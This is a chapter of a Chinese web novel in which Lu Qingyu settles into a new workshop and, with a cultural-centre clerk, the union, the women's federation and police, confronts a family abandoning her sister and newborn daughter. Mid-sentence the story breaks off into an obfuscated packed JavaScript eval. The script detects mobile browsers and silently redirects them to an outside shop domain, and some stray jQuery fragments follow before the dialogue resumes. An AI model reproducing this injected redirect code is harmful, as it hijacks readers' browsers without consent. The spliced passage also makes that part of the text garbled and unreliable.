才第一天搬进特级车间,自己还没开始分配任务,说什么请教?孙信一点都不相信陆青予的鬼话。
他站起来招呼才进门的陈鉴,把他的位置安排在自己旁边,帮自己挡一挡。
孙信大约30多,座位对面不远处还有两位老设计师,一位50来岁,叫张沅,一位40来岁,叫周定富。
这两人算起来都是李长生的徒弟,性子比较低调,没有赖鑫、吴准张扬,只会画画,不会掐丝手艺。
陆青予对于孙信的无视一点儿也不生气,她笑眯眯地和陈鉴、张沅、周定富打招呼,然后挨着陈鉴的桌子坐下了。
邓思诗有样学样,和大家也打了招呼,在陆青予后面坐下了,旁边就是张沅、周定富。
画桌对着窗,面积很大,下面有抽屉有柜子,桌面上有书架、笔架。桌子与桌子之间有一条走廊,方便领导们视察。
陆青予从30人的大车间,到了六人超大办公室,还有些不习惯。
彭城转了一圈工坊,最后到了特级车间。看了看布局,基本满意。
“大家今天搬家整理辛苦了,今天早点下班吧!下周一请孙主任带副手一起到会议室开会,我们把七月的订单和工作进程排一下。”
李长生走后,他的工作室改成了可以容纳20个人的会议室,充分展示了彭城不再保留李长生位置的决心。
既然可以早点离开,陆青予赶快收拾包溜了。她去找苏远宸商量陆小小的事。
廖全贵一家人五大三粗不讲道理,实在不是陆青予一个小姑娘能用嘴皮子对付的。
苏远宸还在写东西,头发已经被他挠得飞起来了。办公室里只有吊扇发出吱吱呀呀的声音。
咚咚,陆青予轻轻敲门。
苏远宸抬头看见是她,立刻露出白花花的门牙。“你今天怎么有空过来,我还说明天去医院找你。”
“想请你帮个忙!”陆青予靠近了苏远宸,闻到一股淡淡的药味。
再仔细一看,他的脖子、胳膊露出一截胶布。
“受伤这么严重?”陆青予的笑容瞬间消失,心中暗暗自责。
怪不得这几天他都没去医院,要等周末,是为了掩藏受的伤吧。
“没事没事!”苏远宸拉扯着衣领和袖子,想要遮住胶布的边角。
“是我缺乏锻炼,坐办公室太久了。以前我不是这样的,高中大学的时候,我还是排球队的。”
“对不起!”陆青予弯腰鞠躬。
苏远宸连忙抓住她的胳膊:“别这样,我已经没事了。你还有什么需要就直说。”
陆青予抬起头来,望进一个清澈深邃的眼,长长的睫毛,带着湿润的光。
察觉女孩凝望的视线,苏远宸慌张放开了手。
“坐着说,坐着说!”苏远宸慌乱地端茶倒水,想要遮住自己小鹿乱撞的心情,但是遮不住他已经羞红的耳朵。
还,挺有趣的。
陆青予捂着嘴笑起来,感觉自己的脸也挺烫的。
沈俊文就在这时,猝不及防地走了进来。
“这不是青予吗?你姐姐怎么样,好些了吗?他婆家人来照顾她了吗?”沈俊文自说自话地坐下了。
苏远宸对陆青予点点头:“还车的时候请教过沈主任。”
陆青予就放开了说出了陆小小想要回家的想法:“沈主任,您看如何和廖家谈才能请他们去接人呢?”
沈俊文思索了一下说:“就看他们廖家在乎什么了?是血肉骨亲,还是面子、钱财。”
陆青予摇头:“可能他们都不在乎。”
一个闺女,不是廖家想要的。陆小小父母兄弟都不在,没人给她钱财、给她撑腰。就算他们都在,可能也是这个结果。
嫁出去的女儿就是泼出去的水,好就给娘家带来好处,不好就不要了。
苏远宸看了沈主任一眼:“没有道德底线,就只有用权势和法律了。”
沈俊文难得霸气一回:“今天小苏就去找工会和妇联,还有当地派出所。大家一起上门去,我看看新社会有谁敢遗弃孩子、遗弃产妇!我把小田派给你,不够再找人。”
“应该够了!”苏远宸笑着拍板。
只要有文化馆的支持,陆青予的胜算又多了一层。
“谢谢沈主任!”陆青予站起来对着沈俊文鞠躬。
“哎呀,客气什么!我又没出什么力气,顶多出个馊点子。你要好好感谢小苏同志才对。”沈俊文露出微笑。
“那也是沈主任提点得好!”陆青予嘴巴甜起来。“以后有什么事儿,沈主任尽管吩咐我。”
“嗨,我一个快退休的老头子,能有什么事儿?”沈俊文拍着大腿。“不过我们文化馆确实有些事儿需要你帮忙。”
“您说说看!”陆青予端坐着等吩咐。
沈俊文坐直身体一本正经地说:“是这样的,我们文化馆有好多光棍。你们工坊、学校有没有好姑娘给介绍一下?
你看我们家小田、小苏怎么样?特别是我们家小苏,大学毕业一表人才,写得一手好文章,心肠也是一顶一的好……”
“主任!您在干什么呢!”苏远宸没想到沈俊文说出这样的话来,赶快出言阻止。“我的事你别管。”
“不管不行啊,你都24了。你爹催我好多回了。”沈俊文拉着陆青予:“我和你说了,你可记住了哦!”
陆青予看着苏远宸慌张羞红的脸,无言点头。
“说好了,你帮我,我帮你。”沈俊文一脸八卦。
“小青予是不是今年19啦?要不要我给你介绍一个?我们文化馆好多光棍,你认识的小田、小苏都是优秀的光棍。你看上谁,给叔叔说?我给你做主!”
“啊?!”陆青予脑袋宕机了。怎么回答,这是一道送命题。
苏远宸走过去拉起陆青予往外推:“青予,我们先去楼下找工会,商量陆小小的事儿。”
陆青予终于被解救出来了。
果然到了年龄被催婚,是不分男女和年代的。
想当初冉青要当宅女插画师,被念叨得最多的问题就是不外出就不能接触人,如何恋爱结婚生崽呢?
在国人的传统观念里,只要没有结婚生子就永远是孩子,孩子等于失败者。
但是结婚后变成陆小小这样,还不如不结。
“别介意啊,我们沈主任年纪大了,就喜欢给人做媒!”苏远宸笑着解释。
“哦,没事儿。我不介意,习惯了。”陆青予沉浸在陆小小的故事里,说话冷冰冰的。
苏远宸不知道原因,只感受到了她的冷漠。这是怎么了?是不满意沈主任催婚呢?还是不满意他提到的两个候选人呢?
陆青予闭口不言,苏远宸只能胡乱瞎猜。他还从来没想过,陆青予对他到底满不满意,有没有一点点好感。
两人一前一后去了工会,找了妇联,都商量定了周日上午9点到廖家门口集合。
再去廖家肉铺所属的街道和派出所,两家单位在一个小院,正好把事情一块儿说了。
街道办刘主任和派出所杨公安是两位女性,听闻陆小小的遭遇,直接拍了桌子。
“什么年代了,还让媳妇在家生孩子。要不要命了,节约钱也不是这么搞的。”
“对
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037307|144960||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,我要去给他们普普法,遗弃妇女儿童,这些都是犯罪。”
约好周日早上9点,陆青予和苏远宸走出来,两个人还在议论,看起来比他们俩还要生气。
“合作愉快!”陆青予伸出手。
苏远宸很快握了上去:“嗯,合作愉快。”
周日一大早,廖老娘打开门,被六方人员十余号人晃花了眼。
亲戚、朋友、工会、妇联、街道、公安,个个表情凝重,个个看起来都不是善茬。
陆青予作为主发言人开门见山地说:“廖大娘,我代表陆小小来问一问,你们准备什么时候接她和孩子回家?”
廖老娘依然强势:“还好意思说!我们问过了大师,要在家里生,要找五福的女人接生,能保证生出儿子来。
你倒好,找了两个男人上门把我媳妇抢走,结果惊了我的男胎,害我媳妇生了个丫头片子。你要我去接她可以,你把我孙子还给我就行。”
“真可笑!生男生女和在哪儿生,谁接生有什么关系,”陆青予对于愚蠢的人简直无语。
“怎么没有关系!”廖老汉走出来。“大师算过的,我们信他还是信你!”
“我们应该信科学。”苏远宸接嘴。
陆青予看看他,苏远宸对她眨眼。
“科,什么学,我说的就是科学。”廖老娘和廖老汉站在一起,一对儿绝顶的愚昧夫妻。
陆青予脑袋疼。
“少跟他废话!”杨公安穿着制服向前一步。“廖全贵呢?他在哪儿?家里还是肉铺,出来谈谈。”
廖桃躲在房间里,这时出来往一个小偏门走,通向前面的肉铺。
廖全贵正在分猪肉,早上正是生意好的时候。
“哥!快来。”廖桃拉开门缝。“家里来了好多人,他们要找你。”
“找我干啥?”廖全贵头都不回。
“他们叫你把嫂子接回来。”
“不去!”
“不去不行了,哥,他们有穿制服的公安。说是要到肉铺来了。”廖桃焦急地说道。
嘭!廖全贵把大砍刀插在菜板上,拉过一块布擦手:“我看看他们要干什么。”
廖桃缩回了小院,廖全贵用门板半拦了一下店铺表示铺子里暂时没人接待,街坊们只有离开了。
等廖全贵慢悠悠走回院子,听见陆青予正在科普:“生男生女不关女的事,是男人决定的。基因懂不懂!”
“不可能!”廖老娘很武断地说。“生孩子是女人的事,和男人有什么关系?”
“当然有关系,没关系干嘛要同房?”陆青予抄着手说得理所当然。
“你一个黄花大闺女怎么说出这种话来。”廖老娘跳脚。
谈性/色变的国人,生出10亿人来。
“找我干什么?”廖全贵从后院走过来,穿着皮制的围裙,上面暗色的血迹斑斑,看着甚是吓人。
苏远宸不动声色往前站在陆青予旁边。
“廖全贵,我姐陆小小下周出院,孩子也要出保温箱了,她需要回家休养坐月子,你们该去接她了。”陆青予说。
“不去!”廖全贵伸着膀子一动不动。“我没空,谁爱去谁去。”
“对!我们忙着呢!”廖老汉、廖老娘反驳。
“廖全贵,陆小小是你媳妇,她没有工作没有收入,在你廖家当牛作马一年多,是个贤良的好媳妇;保温箱里的孩子是你的种,是男女都是因为你。
之前你在医院见了她一眼就嫌弃她是女儿,现在你要遗弃他们母女,你还是个男人吗?”
陆青予的话里蕴含着愤怒,说话掷地有声。